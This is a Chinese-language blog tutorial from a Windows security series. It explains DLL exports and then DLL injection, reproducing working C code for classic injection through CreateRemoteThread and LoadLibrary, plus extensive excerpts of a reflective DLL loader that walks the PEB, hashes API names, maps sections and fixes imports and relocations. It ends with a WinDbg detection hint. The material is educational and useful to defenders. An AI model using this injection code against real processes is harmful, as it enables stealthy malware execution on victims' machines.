iT邦幫忙

2023 iThome 鐵人賽

DAY 4
0
Security

Windows Security 101系列 第 4

[Day4] DLL Loading

  • 分享至 

  • xImage
  •  

Dynamic Link Library (DLL) 其實就是在 Windows 上的函式庫 (Library),可以將程式碼分散至 DLL 達到模組化。除此之外,DLL 在執行期間會被動態載入,在開發 Windows Application 時使用到的 Windows API 都會是透過載入 DLL 使用。

以下是一個簡單的 DLL 實作:

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

extern "C" __declspec(dllexport) void ExportFunc1() // 這個會宣告 export function
{
    MessageBoxW(0, L"ExportFunc1", L"Hello World!", 0);
}

編譯後的 PE 在 CFF Explorer 中的 ExportAddressTable

https://ithelp.ithome.com.tw/upload/images/20230918/20120098jsQXh95oDm.png

裡面有剛剛宣告的 ExportFunc1,並且 Ordinal 為 1。
接著可以透過以下指令呼叫 DLL 的 export function

rundll32.exe .\msgbox.dll,ExportFunc1

https://ithelp.ithome.com.tw/upload/images/20230918/20120098DiyGLO4aEU.png

接著,要介紹的是 DLL Injection。

DLL Injection 意思是將惡意的程式碼 DLL 當中,並且想辦法讓受害者 Process 載入惡意的 DLL。

而 Injection 的實作在 GitHub 上有非常多的專案,其中我選擇參考這個專案 來介紹,因為看起來蠻有潛力在接續開發成為一套完整的測試工具,以下我選擇了專案中的兩種 DLL Injection 手法進行分析。

Classic DLL Injection

Classic DLL Injection 主要是透過 OpenProcess 取得 Victim’s Process Handle 後,在 Victim’s process 分配一塊空間寫入要 inject 的 DLL 路徑,最後透過 CreateRemoteThread 在 Victim’s process 開啟一條 thread 執行 LoadLibrary 載入要 inject 的 DLL。

DWORD demoCreateRemoteThreadW(PCWSTR pszLibFile, DWORD dwProcessId)
{
	// Calculate the number of bytes needed for the DLL's pathname
	DWORD dwSize = (lstrlenW(pszLibFile) + 1) * sizeof(wchar_t);

	// Get process handle passing in the process ID
	HANDLE hProcess = OpenProcess(
		PROCESS_QUERY_INFORMATION |
		PROCESS_CREATE_THREAD |
		PROCESS_VM_OPERATION |
		PROCESS_VM_WRITE,
		FALSE, dwProcessId);
	if (hProcess == NULL)
	{
		wprintf(TEXT("[-] Error: Could not open process for PID (%d).\n"), dwProcessId);
		return(1);
	}

	// Allocate space in the remote process for the pathname
	LPVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
	if (pszLibFileRemote == NULL)
	{
		wprintf(TEXT("[-] Error: Could not allocate memory inside PID (%d).\n"), dwProcessId);
		return(1);
	}

	// Copy the DLL's pathname to the remote process address space
	DWORD n = WriteProcessMemory(hProcess, pszLibFileRemote, pszLibFile, dwSize, NULL);
	if (n == 0)
	{
		wprintf(TEXT("[-] Error: Could not write any bytes into the PID [%d] address space.\n"), dwProcessId);
		return(1);
	}

	// Get the real address of LoadLibraryW in Kernel32.dll
	PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
	if (pfnThreadRtn == NULL)
	{
		wprintf(TEXT("[-] Error: Could not find LoadLibraryW function inside kernel32.dll library.\n"));
		return(1);
	}

	// Create a remote thread that calls LoadLibraryW(DLLPathname)
	HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, pszLibFileRemote, 0, NULL);
	if (hThread == NULL)
	{
		wprintf(TEXT("[-] Error: Could not create the Remote Thread.\n"));
		return(1);
	}
	else
		wprintf(TEXT("[+] Success: DLL injected via CreateRemoteThread().\n"));

	// Wait for the remote thread to terminate
	WaitForSingleObject(hThread, INFINITE);

	// Free the remote memory that contained the DLL's pathname and close Handles
	if (pszLibFileRemote != NULL)
		VirtualFreeEx(hProcess, pszLibFileRemote, 0, MEM_RELEASE);

	if (hThread != NULL)
		CloseHandle(hThread);

	if (hProcess != NULL)
		CloseHandle(hProcess);

	return(0);
}

執行結果:

https://ithelp.ithome.com.tw/upload/images/20230918/20120098eWqj7CoFvO.png

Reflective Loader

下一個要介紹的是 Reflective Loader,這邊就會用到我們在前面介紹的 PE Format。因為 code 太多有點難完全貼上,所以就用示意圖來代替:

步驟上大致上是這樣:

https://ithelp.ithome.com.tw/upload/images/20230918/20120098gFQdU3sC7V.png

和 Classic DLL Injection 最大的差別是 Reflective Loader 會實作 loading 自己到受害者 process 當中,而不是依靠 LoadLibrary 。

在步驟 6 中,ReflectiveLoader 會執行以下步驟:

  1. 計算在 Victim’s process memory 中的 malicious.dll 的 image base

    // STEP 0: calculate our images current base address
    
    	// we will start searching backwards from our callers return address.
    	uiLibraryAddress = caller();
    
    	// loop through memory backwards searching for our images base address
    	// we dont need SEH style search as we shouldnt generate any access violations with this
    	while( TRUE )
    	{
    		if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
    		{
    			uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
    			// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
    			// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
    			if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
    			{
    				uiHeaderValue += uiLibraryAddress;
    				// break if we have found a valid MZ/PE header
    				if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
    					break;
    			}
    		}
    		uiLibraryAddress--;
    	}
    
    • 會檢查 MZ 和 PE signature 是否正確
  2. 從 Victim’s process 的 PEB 尋找 malicious.dll 會用到的 Windows API address

    // STEP 1: process the kernels exports for the functions our loader needs...
    
    	// get the Process Enviroment Block
    #ifdef WIN_X64
    	uiBaseAddress = __readgsqword( 0x60 );
    #else
    #ifdef WIN_X86
    	uiBaseAddress = __readfsdword( 0x30 );
    #else WIN_ARM
    	...
    #endif
    #endif
    
    	// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
    	uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
    
    	// get the first entry of the InMemoryOrder module list
    	uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
    
    • 從 PEB→LDR 結構中的 double linked list InMemoryOrderModuleList 可以尋找所有被載入 Victim’s process 的 DLL
    	while( uiValueA )
    	{
    		// get pointer to current modules name (unicode string)
    		uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
    		// set bCounter to the length for the loop
    		usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
    		// clear uiValueC which will store the hash of the module name
    		uiValueC = 0;
    
    		// compute the hash of the module name...
    		do
    		{
    			uiValueC = ror( (DWORD)uiValueC );
    			// normalize to uppercase if the madule name is in lowercase
    			if( *((BYTE *)uiValueB) >= 'a' )
    				uiValueC += *((BYTE *)uiValueB) - 0x20;
    			else
    				uiValueC += *((BYTE *)uiValueB);
    			uiValueB++;
    		} while( --usCounter );
    
    • 計算 DLL name 的 hash,方法是將 LDR_DATA_TABLE_ENTRY->BaseDllName.pBuffer 的每個 Byte 都轉成 uppercase,然後 circular right shift 13 個 bytes 進行累加,不斷重複直到次數達到 LDR_DATA_TABLE_ENTRY->BaseDllName.Length
    		// compare the hash with that of kernel32.dll
    		if( (DWORD)uiValueC == KERNEL32DLL_HASH )
    		{
    			// get this modules base address
    			uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
    
    			// get the VA of the modules NT Header
    			uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
    
    			// uiNameArray = the address of the modules export directory entry
    			uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
    
    			// get the VA of the export directory
    			uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
    
    			// get the VA for the array of name pointers
    			uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
    
    			// get the VA for the array of name ordinals
    			uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
    
    			usCounter = 3;
    
    			// loop while we still have imports to find
    			while( usCounter > 0 )
    			{
    				// compute the hash values for this function name
    				dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
    
    				// if we have found a function we want we get its virtual address
    				if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
    				{
    					// get the VA for the array of addresses
    					uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
    
    					// use this functions name ordinal as an index into the array of name pointers
    					uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
    
    					// store this functions VA
    					if( dwHashValue == LOADLIBRARYA_HASH )
    						pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
    					else if( dwHashValue == GETPROCADDRESS_HASH )
    						pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
    					else if( dwHashValue == VIRTUALALLOC_HASH )
    						pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
    
    					// decrement our counter
    					usCounter--;
    				}
    
    				// get the next exported function name
    				uiNameArray += sizeof(DWORD);
    
    				// get the next exported function name ordinal
    				uiNameOrdinals += sizeof(WORD);
    			}
    		}
    		else if( (DWORD)uiValueC == NTDLLDLL_HASH )
    		{
    			// get this modules base address
    			uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
    
    			// get the VA of the modules NT Header
    			uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
    
    			// uiNameArray = the address of the modules export directory entry
    			uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
    
    			// get the VA of the export directory
    			uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
    
    			// get the VA for the array of name pointers
    			uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
    
    			// get the VA for the array of name ordinals
    			uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
    
    			usCounter = 1;
    
    			// loop while we still have imports to find
    			while( usCounter > 0 )
    			{
    				// compute the hash values for this function name
    				dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
    
    				// if we have found a function we want we get its virtual address
    				if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
    				{
    					// get the VA for the array of addresses
    					uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
    
    					// use this functions name ordinal as an index into the array of name pointers
    					uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
    
    					// store this functions VA
    					if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
    						pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
    
    					// decrement our counter
    					usCounter--;
    				}
    
    				// get the next exported function name
    				uiNameArray += sizeof(DWORD);
    
    				// get the next exported function name ordinal
    				uiNameOrdinals += sizeof(WORD);
    			}
    		}
    
    		// we stop searching when we have found everything we need.
    		if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
    			break;
    
    		// get the next entry
    		uiValueA = DEREF( uiValueA );
    	}
    
    • 解下來的 case switch 是透過比對 name hash 尋找 kernel32.dll 和 ntdll.dll 所在的 LDR_DATA_TABLE_ENTRY

    • LDR_DATA_TABLE_ENTRY→DllBase 會記錄 DLL 在 memory 的 base address

    • 接下來,從 NT Header→OptionalHeader.DataDirectory 找到 ExportAddressTable

    • 再從 ExportAddressTable 列舉所有的 export function,ExportAddressTable 的結構會長這樣

      typedef struct _IMAGE_EXPORT_DIRECTORY {
          DWORD   Characteristics;
          DWORD   TimeDateStamp;
          WORD    MajorVersion;
          WORD    MinorVersion;
          DWORD   Name;
          DWORD   Base;
          DWORD   NumberOfFunctions;
          DWORD   NumberOfNames;
          DWORD   AddressOfFunctions;     // RVA of array 
          DWORD   AddressOfNames;         // RVA of array 
          DWORD   AddressOfNameOrdinals;  // RVA of array
      } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
      
      • AddressOfFunctionsAddressOfNamesAddressOfNameOrdinals 會分別只向3個 array
      • 必須先在 AddressOfNames 找到正確的 export function name,並且根據相同的 array index 在 AddressOfNameOrdinals 找到 function 的 ordinal
      • 最後用 ordinal 當作 array index 在 AddressOfFunctions 中找到正確的 export function
    • 透過比對 name hash 尋找 kernel32.dll 的 LoadLibrary, GetProcAddress, VirtualAlloc 和 ntdll.dll 的 NtFlushInstructionCache

  3. 根據 malicious.dll 的 NT Header→OptionalHeader.SizeOfImage 在 Victim’s procss 分配 memory

    // STEP 2: load our image into a new permanent location in memory...
    
    	// get the VA of the NT Header for the PE to be loaded
    	uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
    
    	// allocate all the memory for the DLL to be loaded into. we can load at any address because we will  
    	// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
    	uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
    
    	// we must now copy over the headers
    	uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
    	uiValueB = uiLibraryAddress;
    	uiValueC = uiBaseAddress;
    
    	while( uiValueA-- )
    		*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
    
  4. 載入所有的 sections

    // STEP 3: load in all of our sections...
    
    	// uiValueA = the VA of the first section
    	uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
    
    	// itterate through all sections, loading them into memory.
    	uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
    	while( uiValueE-- )
    	{
    		// uiValueB is the VA for this section
    		uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
    
    		// uiValueC if the VA for this sections data
    		uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
    
    		// copy the section over
    		uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
    
    		while( uiValueD-- )
    			*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
    
    		// get the VA of the next section
    		uiValueA += sizeof( IMAGE_SECTION_HEADER );
    	}
    
  5. 載入 ImportAddressTable,並且載入需要 import 的 DLL 和 functions

    // STEP 4: process our images import table...
    
    	// uiValueB = the address of the import directory
    	uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
    
    	// we assume their is an import table to process
    	// uiValueC is the first entry in the import table
    	uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
    
    	// itterate through all imports
    	while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
    	{
    		// use LoadLibraryA to load the imported module into memory
    		uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
    
    		// uiValueD = VA of the OriginalFirstThunk
    		uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
    
    		// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
    		uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
    
    		// itterate through all imported functions, importing by ordinal if no name present
    		while( DEREF(uiValueA) )
    		{
    			// sanity check uiValueD as some compilers only import by FirstThunk
    			if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
    			{
    				// get the VA of the modules NT Header
    				uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
    
    				// uiNameArray = the address of the modules export directory entry
    				uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
    
    				// get the VA of the export directory
    				uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
    
    				// get the VA for the array of addresses
    				uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
    
    				// use the import ordinal (- export ordinal base) as an index into the array of addresses
    				uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
    
    				// patch in the address for this imported function
    				DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
    			}
    			else
    			{
    				// get the VA of this functions import by name struct
    				uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
    
    				// use GetProcAddress and patch in the address for this imported function
    				DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
    			}
    			// get the next imported function
    			uiValueA += sizeof( ULONG_PTR );
    			if( uiValueD )
    				uiValueD += sizeof( ULONG_PTR );
    		}
    
    		// get the next import
    		uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
    	}
    
    • 建立 ImportAddressTable 的過程會用到 Steps 2. 的 LoadLibrary 和 GetProcAddress
  6. 處理 Relocation

    // STEP 5: process all of our images relocations...
    
    	// calculate the base address delta and perform relocations (even if we load at desired image base)
    	uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
    
    	// uiValueB = the address of the relocation directory
    	uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
    
    	// check if their are any relocations present
    	if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
    	{
    		// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
    		uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
    
    		// and we itterate through all entries...
    		while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
    		{
    			// uiValueA = the VA for this relocation block
    			uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
    
    			// uiValueB = number of entries in this relocation block
    			uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
    
    			// uiValueD is now the first entry in the current relocation block
    			uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
    
    			// we itterate through all the entries in the current block...
    			while( uiValueB-- )
    			{
    				// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
    				// we dont use a switch statement to avoid the compiler building a jump table
    				// which would not be very position independent!
    				if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
    					*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
    				else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
    					*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
    #ifdef WIN_ARM
    				...
    #endif
    				else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
    					*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
    				else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
    					*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
    
    				// get the next entry in the current relocation block
    				uiValueD += sizeof( IMAGE_RELOC );
    			}
    
    			// get the next entry in the relocation directory
    			uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
    		}
    	}
    
    • 首先,計算剛剛在 Victim’s Process 分配的 address 和 NT Header→OptionalHeader.ImageBase 的差距是多少
    • 檢查 relocation directory 有沒有需要 relocation 的位置,有的話就會加上剛剛算出來的差距
  7. 回傳完成載入的 malicious.dll 的 DllMain address

    // STEP 6: call our images entry point
    
    	// uiValueA = the VA of our newly loaded DLL/EXE's entry point
    	uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
    
    	// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
    	pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
    
    	// call our respective entry point, fudging our hInstance value
    #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
    	// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
    	((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
    #else
    	// if we are injecting an DLL via a stub we call DllMain with no parameter
    	((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
    #endif
    
    // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
    	return uiValueA;
    

執行結果:

https://ithelp.ithome.com.tw/upload/images/20230918/20120098RWkS4y5bNT.png

從 Windbg 的指令 !address 可以找到某個 page 的屬性是 RWX

https://ithelp.ithome.com.tw/upload/images/20230918/20120098sTk2DalHbS.png

page 的前兩個 bytes 是 MZ,這個對應了 Step 3 的 VirtualAlloc,而且 size 還是 0x8000,對應到 malicious.dll 的 SizeOfImage 也是 0x8000

https://ithelp.ithome.com.tw/upload/images/20230918/20120098Yc3qecd1sW.png

之後只要對這個 page 的內容比對就能判斷這個是不是被 Reflective Loader 載入的 page

以上就是 Classic DLL Injection 和 Reflective Loader。下一篇我將會介紹 shellcodeing!

References


上一篇
[Day3] The Smallest PE File
下一篇
[Day5] Shellcoding
系列文
Windows Security 10130
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

1 則留言

0

老哥,你的文章很有料耶

我要留言

立即登入留言